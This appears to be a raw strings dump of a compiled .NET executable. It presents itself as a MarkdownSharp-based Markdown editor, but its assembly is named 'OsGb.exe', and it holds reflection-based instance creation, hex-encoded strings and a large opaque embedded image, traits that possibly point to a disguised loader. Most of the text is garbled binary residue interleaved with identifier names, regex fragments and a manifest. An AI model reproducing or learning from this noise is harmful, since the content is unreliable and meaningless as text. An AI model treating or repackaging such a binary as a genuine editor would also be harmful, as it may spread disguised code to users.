!This program cannot be run in DOS mode.
`.rsrc
@.reloc
((s9
((s9
K-s9
^-s9
50s9
v4.0.30319
#Strings
<>9__11_0
<Unescape>b__11_0
List`1
get_Panel1
KeyValuePair`2
Dictionary`2
get_Panel2
BlockQuoteEvaluator2
ListEvaluator2
ComputeMD5
get_UTF8
<Module>
TokenizeHTML
_markerOL
_markerUL
System.IO
value__
set_AcceptsTab
mscorlib
EscapeBoldItalic
get_StrictBoldItalic
set_StrictBoldItalic
_strictBoldItalic
_strictItalic
_italic
System.Collections.Generic
Thread
add_TextChanged
inputTextBox_TextChanged
_listNested
System.Collections.Specialized
MarkdownOld
<StrictBoldItalic>k__BackingField
<FilePath>k__BackingField
<AutoHyperlink>k__BackingField
<AutoNewlines>k__BackingField
<LinkEmails>k__BackingField
<EncodeProblemUrlCharacters>k__BackingField
<EmptyElementSuffix>k__BackingField
DoItalicsAndBold
_strictBold
TrimEnd
Append
Second
Replace
_leadingWhitespace
set_SplitterDistance
EncodeCode
GetHashCode
set_AutoScaleMode
htmlOutputTabPage
rawOutputTabPage
AddRange
_invertedEscapeTable
_backslashEscapeTable
_escapeTable
IEnumerable
IDisposable
Hashtable
RuntimeTypeHandle
GetTypeFromHandle
loadOptionsFromConfigFile
_newlinesMultiple
set_Title
get_Style
set_Style
DockStyle
set_BorderStyle
FontStyle
_style
set_Name
get_FileName
set_FileName
set_Multiline
_anchorInline
_imagesInline
Escape
Unescape
ValueType
TokenType
GetType
_autolinkBare
get_Culture
set_Culture
resourceCulture
Capture
NameObjectCollectionBase
TextBoxBase
Dispose
getInverse
Create
DebuggerBrowsableState
EditorBrowsableState
_blockquote
STAThreadAttribute
CompilerGeneratedAttribute
GeneratedCodeAttribute
DebuggerNonUserCodeAttribute
DebuggableAttribute
DebuggerBrowsableAttribute
EditorBrowsableAttribute
ObsoleteAttribute
TargetFrameworkAttribute
CompilationRelaxationsAttribute
RuntimeCompatibilityAttribute
get_Value
CalculateNextDataValue
nextDataValue
psValue
currentValue
newValue
ModifyValue
OsGb.exe
set_Size
set_ImageScalingSize
set_MinimumSize
set_ClientSize
ISupportInitialize
Normalize
IndexOf
_linkDef
_anchorRef
_imagesRef
System.Threading
set_Padding
Encoding
_newlinesLeadingTrailing
System.Runtime.Versioning
ToString
RepeatString
GetString
Substring
disposing
System.Drawing
SaveFileDialog
saveFileDialog
OpenFileDialog
openFileDialog
CommonDialog
ShowDialog
IsMatch
ComputeHash
get_FilePath
set_FilePath
get_Width
set_Width
_tabWidth
set_SplitterWidth
get_Length
set_Length
EndsWith
StartsWith
nestedBracketDepth
_nestDepth
add_Click
saveFileToolStripMenuItem_Click
openFileToolStripMenuItem_Click
saveAsToolStripMenuItem_Click
exitToolStripMenuItem_Click
reloadDocumentToolStripMenuItem_Click
alternateHorizontalVerticalLayoutToolStripMenuItem_Click
set_Dock
_codeBlock
get_AutoHyperlink
set_AutoHyperlink
_autoHyperlink
System.ComponentModel
SplitterPanel
_listTopLevel
_listLevel
_blocksHtml
outputTabControl
ContainerControl
Program
get_Item
set_Item
ToolStripDropDownItem
ToolStripItem
saveFileToolStripMenuItem
openFileToolStripMenuItem
fileToolStripMenuItem
saveAsToolStripMenuItem
exitToolStripMenuItem
reloadDocumentToolStripMenuItem
alternateHorizontalVerticalLayoutToolStripMenuItem
viewToolStripMenuItem
System
HashAlgorithm
Random
MarkdownSharpEditorForm
Transform
resourceMan
ToBoolean
_codeSpan
AppDomain
GetDomain
set_Margin
set_Icon
get_Version
_version
Application
set_Location
System.Configuration
get_Orientation
set_Orientation
System.Globalization
System.Reflection
ICollection
NameValueCollection
MatchCollection
ControlCollection
ToolStripItemCollection
GroupCollection
KeysCollection
IndexOutOfRangeException
GetBlockPattern
GetNestedParensPattern
_nestedParensPattern
GetNestedBracketsPattern
_nestedBracketsPattern
set_AcceptsReturn
Markdown
markdown
CultureInfo
Bitmap
ToolStrip
mainStatusStrip
set_MainMenuStrip
mainMenuStrip
set_AllowDrop
MarkdownSharp
Cleanup
ToChar
InvokeMember
StringBuilder
sender
Binder
_hashFinder
_codeEncoder
get_ResourceManager
ComponentResourceManager
ConfigurationManager
marker
EventHandler
System.CodeDom.Compiler
IContainer
mainSplitContainer
outputWebBrowser
set_Filter
ToLower
set_Anchor
set_BackColor
set_UseVisualStyleBackColor
IEnumerator
GetEnumerator
SetextHeader1Evaluator
SetextHeader2Evaluator
TabEvaluator
BoldEvaluator
ImageReferenceEvaluator
AnchorReferenceEvaluator
EncodeCodeEvaluator
ImageInlineEvaluator
AnchorInlineEvaluator
UnescapeEvaluator
BlockQuoteEvaluator
AnchorRefEvaluator
MatchEvaluator
CodeBlockEvaluator
LinkEvaluator
HyperlinkEvaluator
EncodeEmailEvaluator
HtmlEvaluator
ListItemEvaluator
CodeSpanEvaluator
SetextHeaderEvaluator
AtxHeaderEvaluator
ItalicsEvaluator
EscapeBackslashesEvaluator
ListEvaluator
AnchorRefShortcutEvaluator
.cctor
MarkdownEditor
System.Diagnostics
System.Runtime.CompilerServices
System.Resources
MarkdownEditor.MarkdownSharpEditorForm.resources
MarkdownEditor.Properties.Resources.resources
DebuggingModes
DoImages
Matches
EscapeBackslashes
MarkdownEditor.Properties
EncodeAmpsAndAngles
_angles
_titles
DoHorizontalRules
_horizontalRules
EnableVisualStyles
AnchorStyles
get_AutoNewLines
set_AutoNewLines
get_AutoNewlines
set_AutoNewlines
_autoNewlines
EncodeBackslashEscapes
_backslashEscapes
_unescapes
DoBlockQuotes
EscapeSpecialCharsWithinTagAttributes
GetBytes
BindingFlags
get_AppSettings
EventArgs
FormParagraphs
DoHardBreaks
HashHTMLBlocks
DoCodeBlocks
_htmlBlocks
DoAutoLinks
Equals
get_LinkEmails
set_LinkEmails
_linkEmails
get_Controls
set_DetectUrls
get_Items
get_DropDownItems
ProcessListItems
System.Windows.Forms
DoCodeSpans
_htmlTokens
Contains
set_AutoScaleDimensions
System.Text.RegularExpressions
System.Collections
StripLinkDefinitions
MarkdownOptions
RegexOptions
options
get_Groups
set_ScrollBars
get_Chars
EscapeSpecialChars
UnescapeSpecialChars
EncodeProblemUrlChars
_problemUrlChars
DoHeaders
_escapeCharacters
get_EncodeProblemUrlCharacters
set_EncodeProblemUrlCharacters
_encodeProblemUrlCharacters
DoAnchors
SystemColors
EncodeEmailAddress
nestedBrackets
components
DoLists
get_Keys
set_ShortcutKeys
Concat
AppendFormat
GetObject
get_Height
set_Height
EndInit
BeginInit
GraphicsUnit
SetCompatibleTextRenderingDefault
DialogResult
ToLowerInvariant
_outDent
Outdent
InitializeComponent
get_Current
set_Font
Convert
_wholeList
ArrayList
get_list
_anchorRefShortcut
RunBlockGamut
RunSpanGamut
SuspendLayout
ResumeLayout
PerformLayout
set_DefaultExt
MoveNext
System.Text
get_Text
set_Text
ReadAllText
WriteAllText
set_DocumentText
_headerSetext
get_Window
get_Index
set_TabIndex
set_SelectedIndex
get_EmptyElementSuffix
set_EmptyElementSuffix
_emptyElementSuffix
outputRichTextBox
inputTextBox
_headerAtx
ToCharArray
get_Key
GetHashKey
ContainsKey
System.Security.Cryptography
get_Assembly
set_ReadOnly
markerAny
op_Equality
op_Inequality
IsNullOrEmpty
WrapNonExceptionThrows
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4
3System.Resources.Tools.StronglyTypedResourceBuilder
16.0.0.0
[This old version is included only for historical comparison purposes; use at your own risk!
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
fSystem.Drawing.Icon, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3agSystem.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aBj
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Icon
IconData
IconSize
System.Drawing.Size
System.Drawing.Size
height
t^a6@C
| %L33
+n<sf5}
Bf\$NQs
&$>n+a
m419La'_
${dZqN
L%=^K-}
fU80+B
x+rC5!
u[v:29
$p>r0L
~7wHnp
S|pp`,\
=(Y5 n4
JX7Bhp
eaDu>W
uZp#yL
+Xn|7xn1
BCf;&9
N_29HN3
`{X>/3<
/=>+57
Z@1kkC?
/-$8d]!
.B}"FG
=}u5o>
%32NSt
.zcj$)
tvf;.
;{</3<
Ids>$l
B^F[5L
y}CD$I)7
VKo(OP
$S[$L=
5O^Z?n
mtP1!3>
h/`1.0
S{Qlw/
5/Y88U:
QxKgx"
>$:;)+
ny$|+$
d1~^o%&
=+.k\j
p?+#J5
%K7@*c
$K7@*c
+*B*/
#K7@*c
!j.l1v
p=3:<
rK&8d\
9'.2*q
,CGt}'F
1{1y?+
nX"[^8
W%K Pp
b#g=/2
g|#>p3<
1-;I0ps
{0~/3O
4H+0M
:G\G?-35C
:G\G? =6C
A\G? =6C
@\G?.=4C
:G\G? =
:G\G?-35C
:Z\G?$=*C
E\G?'#?C
A\G?#3+C
@\G? =6C
:Z\G? =6C
@\G?.=4C
:G\G?-35C
:G\G?-35C
@\G? =
@\G? =
:G\G?-35C
:G\G?-35C
:G\G? =6C
[v:{8)
B'43pkTO
8/&D5EO
{#D"P?
q ]vc
[v=m%R
5,T{J&J
rF$]~;_)
FZ/g]0L
l/PA+KI
@?p"h}
{F2 M{
5Oe?kg+
!ytlKZ
uP-Ql`
yXt`]"'
l~~X*Iq
r"Q%V;l
X$U]b~Z&gX
Q|49T"Ip
]&_X?
+P-`mZTA+
+%4%#YQ
30%V;UcZ3)
mt}g-O
<?<*Bj
:xpn:G
nW!1|9
|e.&8>
=19()'ZR$<Q
>>@g+Z
.dkuxl
Z(%"<(el<,W
am~pa.
Z\X1MC
?}xkCXE
\7{o"F
NQjO[,
@wmsU*
A<'XZ)
_FV~splmbC
$]HGS*
z:A`f=
pk=Kd,
%':O`k3
!:i%,:
KU"vob
c% :C^M
y~v_C<
e,#*EYZ=
/.Icw%
g'+-Ge`
*;oSu.Vw
g!+<EnD=
nc.Jm%
Ar@pO><s
c6MbDqOl
zJBF|Z
,1(NN)_c
Zo74hdcv
x'uxs%
##b[b'ujb
s`)&<a
hT7""fT{'
88WZwW
beKQp%
67mU$Yw
op'nz2
=kTW.QG`
AW,k\L
P#/<Vp),
~#fxVs
N^\!T W!}
j||Y=d
!stwcd7kJ
0?<io`
1Bkakop
zOVeZ(&
yeN-[$R
g:_/L9u
&E|\(p
_S'&I!
1m}l5`
Zl8NW,
7Z`T6:trV
?s+&K~
~\;/3<
^[=03<
[?KP,:
%s^?nSlK
,:N~s=
K{"8/!
&Q%::a
CreateInstance
System.ActivatorA
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Point
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Point
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Point
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Point
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPAD'
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDATx^
+,Bq^\
2,?v^2
U(HPX4v
U 8^/l
>48558544
G.;48r
q7;hndC
Y8|g_8
%\cSnG
b!Gk;+
J8#,`7
8O-# e &k
,*?+Ai
9>_;K#
{U5f~ok
os9773
!h--7uP]
/<~l47
7:lYdn
s\pP@D
SH)v`9
Ww]RlL
=GU,Uj
Kmpx*Hn
$wO#OG
_=Jk><[
ywxo.;B
";D=d7
1Q`@jXd
!C5JN'Hr
7_JE$=
+.xuR{
~Z$4uo
h(xShdz
6fB&'1
qbL@LS
h&I\CQm
'/s79~
7?0Cdn
>hB[W#W
E@hR4:
+,O<(
+{wI#u
i2.Z[o
(KN$#p
,tSSU/4
0"$8NL
1H8Gh:*
GcGVq
;yGc k
W-7,lc
)]`Dq5
n>t>FqQ
8[Z1OQ"%
<Y&!:S
SuIU|!
9Y,{?Z6
_~~*~"
*O*><"}
#T{HoU\%k]
]n??:Z
\>?M@7
9`cOfw
Zyzl6|+
0~R@g'
Z_NC.7
SX:2XO
v>84TSX
SHE(V&6
/KJ\&(
wn2],*
PP780=_4
A$ay=q
]JK}l%
dmC]o)y
}h`f.Y;>
~rwJlz^
PuU\,U
Lpo\f@t&
f4_(3/
u_G%Iy
U&NZ
8\<N51
;4:c/6
O]\kgE
@NGD"+
W{#QR(Q
rd`4_r
)#qw}z.
]y?oNM~
Uz}J!t
\_q;-}w
_!w!&/
fKkL_*G
xA!X:c
$Bh/w[
JG8crp
$,>NO]
,V[FJy
()#YXU4%
+&e$ej
5S`YLl<,!
=#2Pkb
7s#Dsj
7:,vA{kS
:A.>U9
rRe!`I
5:\bi+
s#eS
"xC|>x
^W37<XS_T
6A$Mq=
hk*p1\N
TS1ZFN^:
_fF"3
H,OVJU=G
9_,m'<_
{zfmNq\
2fGfFH
_) @]z
\[377X
~zXuW}Y`
0*HXt9'D
mEd#,C
z.lk`-
hcrDz
^>m?Jp!
pdT&u1k}
`f8m's
?>M]8VDO
/HNY+5{
kI{?:;/
5MAx:p
Uon_Y-)
IDATr7F
U}BYX:
26d_t
p<~<H
;H2Yi_
$T\.]S
I2_.!;
3'g[gw
j<Z[G'_
ko,<"0s^F^h
p.48og
\]g%,1
.]+!]q
M~^yv?
^-|?tx
?}['%~k:
'c^!/^
#lr'dd
i,3740
cq ;B/
.Z)vpI
&a,TK8
d@>yzy0
E$Qnhp`qp
WEB%/()
P7!-]a/A5Q
D%}6Kb
-1v X
N;>NN'
mhy'/%N
-=*Km:Mby
fl*^Y2'G
g$Ea6I
@U8/.T
l\(S_Y
)Go*)A=!
qxLl/M
F30:p
_Ik]Jt
91ltlU
CN/RdE
#!weu[
UO4|3m
|$'E(3Q
ALL&-.
x0_R|U
\O~z|z
?1c`%
~-}/=Z
MC;q(UE[
R7d{Y:X
mcwN=y
*[SL![
n8}W]].)%[
/^8mqj
t=j\2h
mAyN1
oO3?wz
Nf,J<Jk
Qbr@OTD
I:WZ"3.
PmH+.V
/#e])t
b<=:UO!w
$@?Oyb?
-(s>RG
nD<^\#Z
nt4O4^
x3!v|6
_'dE~69E
o>|tJ]#
RC-6p5
Y,=]IJS
&CFH/w
_ @D\
jO]1h4
'qHB\!
UIl}7WD
PV&&dx
i1<YOf
AFGrLUl}|
)HF="2
>1!:8D
pLav>Dc
Ya!0PT
VV&nw~
R[w<K
"O{&|A
<~qIIdC
~r}Iu-
Uv_,ed
<rzhW$
-GN?l~6
W.)#oe
TV>z&tR
WD-Q,6
+TLtxy
NI#;^>
!sKslH
3--MmCC
$d\h)Cd3
N@9`@R
=>F":W
E^u}[Ob
}*|T&J
Gy<r~X%>}
?_K7-Q<
?O</#&
N'XWT)
(Ht.:
xYG6=D
:cJ@&;{
XCTU;,
jLM:,v
Vl.?SDH
Kd%TR{
N,Qh{53
,OwzzY
8&<<Q@
w;6z{v}
ama 'z
HcB]<2
fhhpnxh!
^34<8=
F%RMV0
e11aZl*
R"Y,dXTgX
MXFe#Y
8t',1#
a6LbXf3u,\
'`hE;fc
fw-.Q;
whxpjxxvxp
@d$dk
kWP]}Gy
IiQ&r
/X%u+v
{Ue-;j
}jnpnx
gz[V9Q2
}4Z1<3o?
8TVrsWS
$jk!MY
Q0`3!.E$
\xB.CdHmc
PD5d %y
pS{5"
A9gJkR
V}|uz*
qaxpnzpfx
^$oN4,
.DKQ ikZ
c=X.X9
)+D[P]O
i@erD
Q1ODt6
,;?eAJ
yp?@[Zc7
&{<},v
3z+6u\{
3m?z&v
,>WV%9W
J%RR]!
cm_v,{
zzie/0%
,CO3G{r`
b?Vz>c
zTrh?S
j)}[sol
+>.-{
$A$d>8
P ;G#
4K/_%B
Z<[<K.
TEM>^Wu
pqX%(v5
u8{Nus
\Hd7z1
.2lMAN
v~,%_&7
n${J@(rM
Q^lukw
=;j<Kk
fLd$6Op
="==VC
g8t^]~VR
S 1)|p
[WO2[=
SS4](B
Y8g,=Q=fg
D|R F3
H 5aYh
wl\qll
6?+I=D|
8"Q44$
&<K`}A
vALi,[nrnqr
(QsYx-C
"1"]UP[^6
mc}'&*
?_:~SrZ<
B(J'$Ch
.y,wJv@
>z|_|dV
62+5w]W
<Z35YXT
-[om?!&X
n>/GaM
ec[o]hk9[y3/.]
oZaC(NSRr
,}>OP-
3r"=:<|s
#?B<u>
j-voH8
;hZ\rCx
T}n*Z#.
u[z=o
SsEj4
zr:1A6
`$M/z9k
O54N!@
}W+NvW
GPpmXV\&
_=480=2
J0%8X<
6.4OH!R&
,"]:iyg
-As8BS
21"kc\
8<V9<T:
`cmM9c
SN[}+.96^&'Jx
^H%[3QM%UVE
!'&=Qw.
".<*RXW1
PQ.`1:!
u]U)A2v
LZsyWK
IDATD:
)ite[(
K0>@VB"<*
HVJ4[F
U7pI-h
IFRA_U
U7K.V`
dRu6u=<u}WI''
|8t`N^
,U"QZ4`
]:>!Yg;7&
se<yO
\LltBY
:[K2N3St
%#WQ,SL
W,PpE>};`
.!]F<6
gZc8m/=
[!2YMsi
D*M:F^8
WCTO;~h
2nv%'q
TG]#;c
}%-G;>
mfSa}-r
90V?2J&
tmqUBj>W
\{mjWT
q%d<P,HE\
~ _;2G
8/kdKv
{N^KA+F
aT.=!_
pKBy9Aq[f?
5;Ym&gJ
M0;kQ
sLa@";
h!@VJ"J
xF.3*O
&^`H,b
FC KxjL
(@Kg:b
)RRS6J
N3OVZl
(')^=$
p*JzA*
"U?kp@K
9vEoI>
>WSQ;U7YgQ
E!El(y
<S_uKK
SOo+]WE
>_ArAMk
?zrQF.
57\R"]
1#)vH
6tm>wC
6x/[Png
Z'Om;8
.d_5?~
33%&d/
$X5s9TPm
\_}ysL
h~2Z:J
9G,s.Z
MKB93?R
o>m_'V{D
i[g?ml9s
c%x77y
+m][/u)
ed $Df
/$beA
rd3S9x
a._l:?hM
P=W~e"m
s^pG8|
{y_R-
IYEBh#
^Ku"_FR
G7WL}x'!;
Si(.l|t
4"93C}5|
x@\V%/
'7Z+V]
m7(&,M
@dR!D>
`Rud/{
1" Pxt
h7t17s
qnF=R\
hC"Sqn
~~XQrVH4>
UW,#[B
Xq`'`o
.?{x[@
x4<1%+
`.M=N8Z
DpxQCvy
) JF-U_
Stw]e
tv*Pde
\RM1ob
cGwmJ9
;%2[rNDm
Kc"ay&
x&~8}~
LhN$(i
f-Mnk|v(
t<,?!Q
:6^4eY-
|IY9vD
mES?v:X
ytN@4U$]QK
},SA[).z
=[S]9!)
;KN5=M
!JpLr*
x(U\[>
Yeke"
[,Hd=k
^eCW-[E.n
naO.;d
!],=C:_Ns
smlDI-
L7Wk?#
<]eBow
f+neE
5/^}?q#
!u4di%KBG
<!Cy:$W
]};$))z
^CUHCL<
>J<!$6
2OV R16W
7/%oY7
&)'=or
T^+<73
A:D[m:
)3}hUoQ|6
?=(Fw}|
$ko:w`
zWI?V1
iQ%%~
CCl[1s
q&ti`M
JN:Z}u8
+_12,?/
v~-w4~p
F]*>iUl
`ahpP,
_pR.K8
7/<Mq%1W
h7K]W-q5JX
67#-S
5$fFej
;[k&|z
O|5%)&
"yrhtn0
PEP!2q
yd&.={
+In$)oou
NM>X2U>^^
4|8\/
X(.Oq1
>^,){hs
D+6pFd\IHF
8|6R_~X
LtY49$o
Kh=SKz?Q
5q\q5%?'
8+a+=nRt
K0;n<
)`;Zpa '^
YGg;yBl,
xwwB- :
c-X&<@
6+^24!r
fDb9ZD
oxr$BEKx?
n1V/ H
xqHX"Y
>?S5GNj
'[t#a|
\nx|X~
#v'E3y
/PKN(_
Zk7^a|
2Dy-9
WHBXL<DH
8C!a9HD
2Kdw)K
8\SXfk
=W'svw
;\4~*x
-PR$,;8
X,_;4w+7
ZAHm=
@=:]{d
~gIk0F?
OJ}H0y)
\HFSL
:/KIf)7
Lbix]D
7P-t?34
`YUCx~&r*@
m "dg',
N#c]`'
u,;K3i
L$5)Od]f
uc.?oWX
pt:^-#N^3B
\4M&.c
|)ZIuY
/>fV]v
x_iI'AA
+W9A4K
zIjYhM~
y{L?[,<
-\ EH4&-I
G+32QC8\Vn
&h(B@J@
R9L7T#]
_n=}P=
GRN$C"
{v}V~a
~p 5BY
kC.k~f
dZ.RMfsft
$(YyJZU
{a@N7A
8<DVx`
[[,kb,V
\aoIwgukG
j<V:\W
j[g?eM
0$YUJE.Za
maRB6S
2F*nGr
%"V>:f
.oSZg,
QS)!X*Rf
k'C5%E
x-0ko,$@
xQ!nx`np
u6+"On
+?@)C>
o!w<,-Y
$e9^/<(M8v
]53RMZSJ
'C)PlK
s#aWaM
rB^Aif
*o8JX;
o:_.?v
y\r=v}}8e
M4Qnc%DB
y9U2E$;L
R:N~{mYZ
cpfx,&
s@WW]C
[e{q_0
IN6%$=5^_M%;e
_O:-a|
H4]fK38
O5hFnR
,.VTJI,44^q
>`YBTm
?/{?<_/
c%d0~*
ic7^qr0
F6`)Ah
@N:9r
)DO{KK
k}.eUdb
!<&.=~
\zg=)x
%t2=XP
cf~T^g
.PMP!(
,_1\_\A
!WH&EK
LfqmhFF
GR.=2y6q
OEu]^T
uT'R!/
[bIg8D
R10 jK
S.31<4
G{\iQR3
Xwk:yD
ty1{(AS
'][^|]
.YX92ue;
''.]SDq
HL'CZ-QZ
RvC(Hu
lHNfck
*DZSn>
6^~:dF
[{%rW
0lcv`I
6M57c%jXS
]Y"v+eU
I$/MZK
ww4Jhe
((Fsxn
W6<]]hk
]~x|[i
)1_R)$
.Ij03J8;
{RH)FF\
96:@4%
]alz)I
DwRD<]
A+SNni
;]Fb!w
7nZ~8CB.}
i#F76$k
8ve*.;-
f};O`
s>"hq^Z
*_{9TO
,#*Bdv
2oWO@+
t{]-VZ
+s(+E>+
o>ny1]
8PQw10
1)V]H\!J
?rLZT:
<pPLvq
$;1]GN3
Df'^JW!
0'{wq>t
^X[RLXF^
$q}Qjtf
)]Uy/-
#u=^NV
{gAD`Nr
n /A9p
>[kyirb
qQ~,>_
eyA|3-
Jz:&\7
sloUW0
un|r8bh
T&AchK
r;VV]I
pH96Du
x=te/\u
b*"`bMY`
w?Y579^
NKVd%mP1(
7KH6{(:pg
n:&pq+
HCJjHQ
}hvd8QR
Nl<D";
{_s9~i
{nb:rc
<U@1H)
K!`!q,<
Ec2)B>`bB:4
qpn#kC
$[n%#)
vY,9p~9
,nZ>m0
{8<46<B
6/1U%
jynfRZ
h6iQZJ
87AI/5
BX&loi
&z|=e9
X8=%TB
?XG,Cfj
2x{iS<
R >_<$
C}'iqi
nAJVIM
aMG5@b&Ss
~uGMF{
4@+bqa
LlqH*t
4l2d#*r
VXJM;#
+Wy91z
W}XQ}rb
[6bAf_
O;(dG^
p(bmU'
4)2E"\R)
($V.?6
$#7I]&
yvNIG:q
"n-{ui(TE
bjl"]i
._Azxm
>{+YZh
Zqdd8mI
N6Tg{b
H,TF2fS
4|"]9>
@aDPX)(
7&vF!T
\lW)-0
u6^?aTX
?NNZ5[
S1@EH(~
2/]v=Pow^
UV}YZzV[\!
b[Hl3DE
5T_>z`
mXO"DP
@ph{dQ
'w/*fZt&
*Q!;)j
('2sUF
8WH/!2
=XZ,LN!;
Q$uU2=
/gw'wc
VfHNNn
\f3`=!
1Y?vnMA~
ZA4zNE.V>u5V25
')R(Q@&
-Z!-oP
JhVGhWt6sX
';NWu4]|
p477U2
Mtbmj=~X
J)9+d_}^wK
[.@Y;&
v}ZA$E\
8*{.$"
Kb-#C\:
@76K)
NX8_7T
A{c+-0
`H9^D,
pd$e8F
@'4_>u?X"
XMtc7c
u_v5OkGT
l\}]W&.a
;fRruB[
]`|vs8
jntN8RV
bi|<5K
7Y<&~am
@A-M9/!k
5.p3-x
)!M^/<e
^6WFL
UX44\5
C?$T5S*LC
\W+WC))
IVVZPw
qPfzpi
d([IyiP
j"@ ZF
#%'U1%Q)
%Mgw/G
QRl2z?-
af &8s
-zzx2',
vS.apr
74$Y:`
^0U58
<Gwc:V
V*Mkz]
0cI6'
LLOf!H
|c;VBr
w'p{^Lza
WRC/'#vQ
+7M~*3&
_ j##;
UK3kIZA
$GKd1e
2^xpa>x
}q}0t3M
<M)JLy
{foZQfK
W@"Uu_^P
[6w^N}
vx-<d>
~V5/_;w
`N4)oxW8w
ube8m*?
*D^:}T1
Jiiv;Q
IjI X1
%B}s'X%
M x#xp
/DM{5\Rw
]As`v=
/*'\ F
02LDmd
9]oQ|v
BE[ TH
kbAwv3
W5P_aA
6+-nn}
F9-3\>
RTvy"5A
l;prC"
lGRY 5
Co_3~Q
b_E:.R
$]jl<7
a}A4B
f!qPkQGU
L0vn@_A
?BM)1x9
+*DhlB^V9
e{%|9Xqf
ME~:%F
<}T12)
L,/pm8
72dA'C
n}-lVl
/<7xci
nEfX<X7
t>M3M5
2>6~E%
FjnFN~"
nG,p=kM
24D*hY5
n"{cv
,U^2%K
1Qm(_=
<_eQi?
f=wf=^
27By2x7&
duA<j_
^Lt%QVK
%DfdrpI$2
j%cA 7joR1A
7L'=|)N
KZ?|"sN
)z"48@
ys l<g
Kc,#Ks
_f.b{@<
/>ONsZ
?'mS+6
rT\Dyz
`2gvXR
O0_7m$^t4;
UwrY}z
X.3fKr
w^C|R:K
cbw60r
^!8a8S
#rg,gc
2lvL%w
DH$ 3?
Xf=1#p
E,c/O_.dt
b{e6umD
-Ct@1s|
k]^/Ig
[MMhKf
#',GR[
}f+s*6
V'j_NE
='!a'}o_%1%
`IX9^7
m_5vw=eub491
)~ZAQP?
VrNt!O
!WfCbJ=
qghsVFG
AJi:##
kxW{P)
[47}!j
>nKr@;v
3<P3'7R
&MQ~|0eJ
0'Z5z
CxV+JR
9wv+r,
]M(ynf
Vq.J_!
C~oS'v
_!V<zt
''?l {
)^dH^G
JLC1h7
I`}jo$
mFtl0{
b^-Hdx
)_G6q<X
N[`1")
mWx^,I
GJe$3z
gX(UGv
tv5p@1
'dB1z9
me"_6O
uH$An_q
rT`uP8C
h,I#ST
`_~Ijq~
_w7A#>1
SXvn!-
W4G!u(S
fWB=~q
5N<(/e[
JD:zc,
/hgjloZ
c#5"*2P|
w@:2uY8e
b?]a\
6E?{6V-w
[N~q1S
":JL*J
OsGb.pdb
SHA256
@+@kA[@;A]
XC&VA6
w[p3cr
9EO3:g"<
1)_S6
p~}}m]
[ixF-
Mok(g=)
P* ].m<G
K?}CPm
W>e1aZl)
1Y2rt[f
_OW7w3
_CorExeMain
mscoree.dll
t^a6@C
| %L33
+n<sf5}
Bf\$NQs
&$>n+a
m419La'_
${dZqN
L%=^K-}
fU80+B
x+rC5!
u[v:29
$p>r0L
~7wHnp
S|pp`,\
=(Y5 n4
JX7Bhp
eaDu>W
uZp#yL
+Xn|7xn1
BCf;&9
N_29HN3
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
(6M]irv{
<style>html,body,table{font: normal 10pt Verdana;}li{margin-bottom:7px;}h1{font-size:18pt;}h2{font-size:14pt;}</style>
6C697374
616E7A
ZH5EOG524GHUG0OOY47DHD
MarkdownEditor
mainStatusStrip
statusStrip1
mainMenuStrip
menuStrip1
fileToolStripMenuItem
openFileToolStripMenuItem
&Open...
reloadDocumentToolStripMenuItem
&Reload
saveFileToolStripMenuItem
saveAsToolStripMenuItem
Save &As...
exitToolStripMenuItem
viewToolStripMenuItem
alternateHorizontalVerticalLayoutToolStripMenuItem
Alternate Horizontal/Vertical &Layout
mainSplitContainer
Consolas
inputTextBox
outputTabControl
htmlOutputTabPage
Rendered HTML Output
outputWebBrowser
rawOutputTabPage
Raw HTML Output
outputRichTextBox
txt files (*.txt)|*.txt|All files (*.*)|*.*
Select a text file
$this.Icon
MarkdownSharpEditorForm
Markdown Editor
MarkdownEditor.Properties.Resources
\`*_{}[]()>#+-.!
The requested character can not be escaped
The requested hash can not be found
:(?!\d{2,})
Markdown.AutoHyperlink
Markdown.AutoNewlines
Markdown.EmptyElementSuffix
Markdown.EncodeProblemUrlCharacters
Markdown.LinkEmails
Markdown.StrictBoldItalic
^\n+|\n+\z
\n{2,}
^[ ]{{0,{0}}}\[(.+)\]: # id = $1
[ ]*
\n? # maybe *one* newline
[ ]*
<?(\S+?)>? # url = $2
[ ]*
\n? # maybe one newline
[ ]*
(?:
(?<=\s) # lookbehind for whitespace
["(]
(.+?) # title = $3
[")]
[ ]*
)? # title is optional
(?:\n+|\Z)
(<!(?:--.*?--\s*)+>)| # match <!-- foo -->
(<\?.*?\?>)| # match <?foo?>
(<[A-Za-z\/!$](?:[^<>]|
# match <tag> and </tag>
( # wrap whole match in $1
\[
({0}) # link text = $2
\]
[ ]? # one optional space
(?:\n[ ]*)? # one optional newline followed by spaces
\[
(.*?) # id = $3
\]
)
( # wrap whole match in $1
\[
({0}) # link text = $2
\]
\( # literal paren
[ ]*
({1}) # href = $3
[ ]*
